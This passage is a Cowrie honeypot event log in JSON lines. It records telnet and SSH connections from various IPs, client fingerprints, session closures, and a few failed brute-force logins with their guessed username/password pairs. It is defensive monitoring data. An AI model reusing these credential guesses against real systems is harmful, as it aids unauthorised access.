{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:48.311237Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:48.321460Z","src_ip":"198.98.56.205","session":"45142831d10a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.23653173446655,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:49.972539Z","src_ip":"38.60.198.128","session":"34518318950f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.21544075012207,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:50.166828Z","src_ip":"38.54.119.93","session":"ffeccf8d767f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.70650625228882,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:52.638991Z","src_ip":"38.60.198.128","session":"1c87d20d8aa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":49484,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca553dfc2e8b","protocol":"ssh","message":"New connection: 193.24.211.95:49484 (159.203.135.109:22) [session: ca553dfc2e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:54.983083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:54.988582Z","src_ip":"193.24.211.95","session":"ca553dfc2e8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:55.096236Z","src_ip":"193.24.211.95","session":"ca553dfc2e8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.586910247802734,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:55.171207Z","src_ip":"38.60.198.128","session":"69d0c9bc35b4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rock","message":"login attempt [admin/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:55.524808Z","src_ip":"193.24.211.95","session":"ca553dfc2e8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.39436149597168,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:56.412204Z","src_ip":"38.60.198.128","session":"d2c67ac11b95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:56.634842Z","src_ip":"193.24.211.95","session":"ca553dfc2e8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":33858,"dst_ip":"10.17.0.5","dst_port":23,"session":"58ac4aea0617","protocol":"telnet","message":"New connection: 45.81.23.16:33858 (10.17.0.5:23) [session: 58ac4aea0617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:57.697455Z"}
{"eventid":"cowrie.session.closed","duration":0.061597347259521484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:57.758923Z","src_ip":"45.81.23.16","session":"58ac4aea0617","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":33874,"dst_ip":"10.17.0.5","dst_port":23,"session":"94dee7999e51","protocol":"telnet","message":"New connection: 45.81.23.16:33874 (10.17.0.5:23) [session: 94dee7999e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:57.818317Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":33884,"dst_ip":"10.17.0.5","dst_port":23,"session":"4870ad2cbc23","protocol":"telnet","message":"New connection: 45.81.23.16:33884 (10.17.0.5:23) [session: 4870ad2cbc23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:57.902196Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":33890,"dst_ip":"10.17.0.5","dst_port":23,"session":"60202d8d3388","protocol":"telnet","message":"New connection: 45.81.23.16:33890 (10.17.0.5:23) [session: 60202d8d3388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:58.069111Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45428,"dst_ip":"159.203.135.109","dst_port":23,"session":"65cff9c31d0c","protocol":"telnet","message":"New connection: 38.60.198.128:45428 (159.203.135.109:23) [session: 65cff9c31d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:58.587406Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":33896,"dst_ip":"10.17.0.5","dst_port":23,"session":"f53a5d55c95e","protocol":"telnet","message":"New connection: 45.81.23.16:33896 (10.17.0.5:23) [session: f53a5d55c95e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:56:58.822490Z"}
{"eventid":"cowrie.session.closed","duration":38.19501185417175,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:00.024034Z","src_ip":"38.60.198.128","session":"54e264f1e53c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46426,"dst_ip":"159.203.135.109","dst_port":23,"session":"484aba5f5e7a","protocol":"telnet","message":"New connection: 38.60.198.128:46426 (159.203.135.109:23) [session: 484aba5f5e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:00.392076Z"}
{"eventid":"cowrie.session.closed","duration":33.166030406951904,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:00.444973Z","src_ip":"38.60.198.128","session":"46d7aa7f4f9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.31417775154114,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:00.533848Z","src_ip":"192.211.53.160","session":"a66c79ea04d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":33222,"dst_ip":"10.17.0.5","dst_port":23,"session":"20a3b7c62cad","protocol":"telnet","message":"New connection: 45.81.23.16:33222 (10.17.0.5:23) [session: 20a3b7c62cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:01.625720Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48192,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2b0a6879f11","protocol":"telnet","message":"New connection: 38.60.198.128:48192 (159.203.135.109:23) [session: e2b0a6879f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:01.914037Z"}
{"eventid":"cowrie.session.closed","duration":5.03648829460144,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:03.105513Z","src_ip":"45.81.23.16","session":"60202d8d3388","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.16907572746277,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:03.495538Z","src_ip":"38.60.198.128","session":"4c2cdb033e16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.94867014884949,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:04.622679Z","src_ip":"38.60.198.128","session":"f7467c1d2305","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.870443105697632,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:07.772539Z","src_ip":"45.81.23.16","session":"4870ad2cbc23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57952,"dst_ip":"159.203.135.109","dst_port":23,"session":"22fa09ede7bd","protocol":"telnet","message":"New connection: 38.60.198.128:57952 (159.203.135.109:23) [session: 22fa09ede7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:08.564780Z"}
{"eventid":"cowrie.session.closed","duration":42.334388732910156,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:10.114963Z","src_ip":"38.60.198.128","session":"72cf0bd51378","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60098,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5e4f93736d8","protocol":"telnet","message":"New connection: 38.60.198.128:60098 (159.203.135.109:23) [session: a5e4f93736d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:10.383476Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34508,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ff9f6ee8d8a","protocol":"telnet","message":"New connection: 38.60.198.128:34508 (159.203.135.109:23) [session: 7ff9f6ee8d8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:12.577909Z"}
{"eventid":"cowrie.session.closed","duration":52.057276487350464,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:16.860916Z","src_ip":"38.60.198.128","session":"0808b60a16b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.351799964904785,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:16.929612Z","src_ip":"38.60.198.128","session":"7ff9f6ee8d8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.54515027999878,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:20.619318Z","src_ip":"38.60.198.128","session":"4f9607afd561","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45650,"dst_ip":"159.203.135.109","dst_port":23,"session":"16f3b77e838e","protocol":"telnet","message":"New connection: 38.60.198.128:45650 (159.203.135.109:23) [session: 16f3b77e838e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:20.959689Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46074,"dst_ip":"159.203.135.109","dst_port":23,"session":"b65419c1cc61","protocol":"telnet","message":"New connection: 38.60.198.128:46074 (159.203.135.109:23) [session: b65419c1cc61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:21.404213Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":37220,"dst_ip":"10.17.0.5","dst_port":23,"session":"459a0d4257d9","protocol":"telnet","message":"New connection: 45.81.23.16:37220 (10.17.0.5:23) [session: 459a0d4257d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:21.939727Z"}
{"eventid":"cowrie.session.closed","duration":37.58621144294739,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:24.310439Z","src_ip":"192.211.53.160","session":"ef1f79b6a659","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.21311807632446,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:25.266988Z","src_ip":"38.60.198.128","session":"28cc5a98e62d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.44454908370972,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:28.051076Z","src_ip":"38.60.198.128","session":"93cf3e451673","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":43198,"dst_ip":"10.17.0.5","dst_port":23,"session":"d83015ee629c","protocol":"telnet","message":"New connection: 38.54.119.93:43198 (10.17.0.5:23) [session: d83015ee629c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:28.402907Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48036,"dst_ip":"159.203.135.109","dst_port":23,"session":"42e1f9f990e8","protocol":"telnet","message":"New connection: 38.60.198.128:48036 (159.203.135.109:23) [session: 42e1f9f990e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:32.711107Z"}
{"eventid":"cowrie.session.closed","duration":12.699664831161499,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:34.639257Z","src_ip":"45.81.23.16","session":"459a0d4257d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36082,"dst_ip":"159.203.135.109","dst_port":23,"session":"1df89d989fff","protocol":"telnet","message":"New connection: 38.60.198.128:36082 (159.203.135.109:23) [session: 1df89d989fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:35.020540Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":46288,"dst_ip":"159.203.135.109","dst_port":22,"session":"3074c69878ea","protocol":"ssh","message":"New connection: 198.98.56.205:46288 (159.203.135.109:22) [session: 3074c69878ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:37.669669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:37.673649Z","src_ip":"198.98.56.205","session":"3074c69878ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:37.678652Z","src_ip":"198.98.56.205","session":"3074c69878ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es@2024","message":"login attempt [es/es@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:37.730654Z","src_ip":"198.98.56.205","session":"3074c69878ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:38.738338Z","src_ip":"198.98.56.205","session":"3074c69878ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45214,"dst_ip":"159.203.135.109","dst_port":23,"session":"090641d16058","protocol":"telnet","message":"New connection: 38.60.198.128:45214 (159.203.135.109:23) [session: 090641d16058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:42.032310Z"}
{"eventid":"cowrie.session.closed","duration":40.724544048309326,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:42.638436Z","src_ip":"38.60.198.128","session":"e2b0a6879f11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.860024213790894,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:44.447302Z","src_ip":"38.60.198.128","session":"65cff9c31d0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52010,"dst_ip":"159.203.135.109","dst_port":23,"session":"afef872e4c7d","protocol":"telnet","message":"New connection: 38.60.198.128:52010 (159.203.135.109:23) [session: afef872e4c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:47.137773Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53246,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bcb817cc366","protocol":"telnet","message":"New connection: 38.60.198.128:53246 (159.203.135.109:23) [session: 5bcb817cc366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:48.219862Z"}
{"eventid":"cowrie.session.closed","duration":50.47593951225281,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:48.294119Z","src_ip":"45.81.23.16","session":"94dee7999e51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56394,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3b3830f1825","protocol":"telnet","message":"New connection: 38.60.198.128:56394 (159.203.135.109:23) [session: e3b3830f1825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:51.921560Z"}
{"eventid":"cowrie.session.closed","duration":44.54523706436157,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:53.109913Z","src_ip":"38.60.198.128","session":"22fa09ede7bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.48397707939148,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:57:55.306373Z","src_ip":"45.81.23.16","session":"f53a5d55c95e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.852635860443115,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:01.256683Z","src_ip":"38.60.198.128","session":"b65419c1cc61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.838791370391846,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:03.222110Z","src_ip":"38.60.198.128","session":"a5e4f93736d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42186,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4a58b5ad9cd","protocol":"telnet","message":"New connection: 38.60.198.128:42186 (159.203.135.109:23) [session: c4a58b5ad9cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:03.521856Z"}
{"eventid":"cowrie.session.closed","duration":43.05788826942444,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:04.017478Z","src_ip":"38.60.198.128","session":"16f3b77e838e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41364,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ae27198312f","protocol":"telnet","message":"New connection: 38.60.198.128:41364 (159.203.135.109:23) [session: 5ae27198312f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:04.646706Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":58114,"dst_ip":"159.203.135.109","dst_port":22,"session":"36cb0ce35c3a","protocol":"ssh","message":"New connection: 191.101.59.69:58114 (159.203.135.109:22) [session: 36cb0ce35c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:05.503743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:58:06.591552Z","src_ip":"191.101.59.69","session":"36cb0ce35c3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@op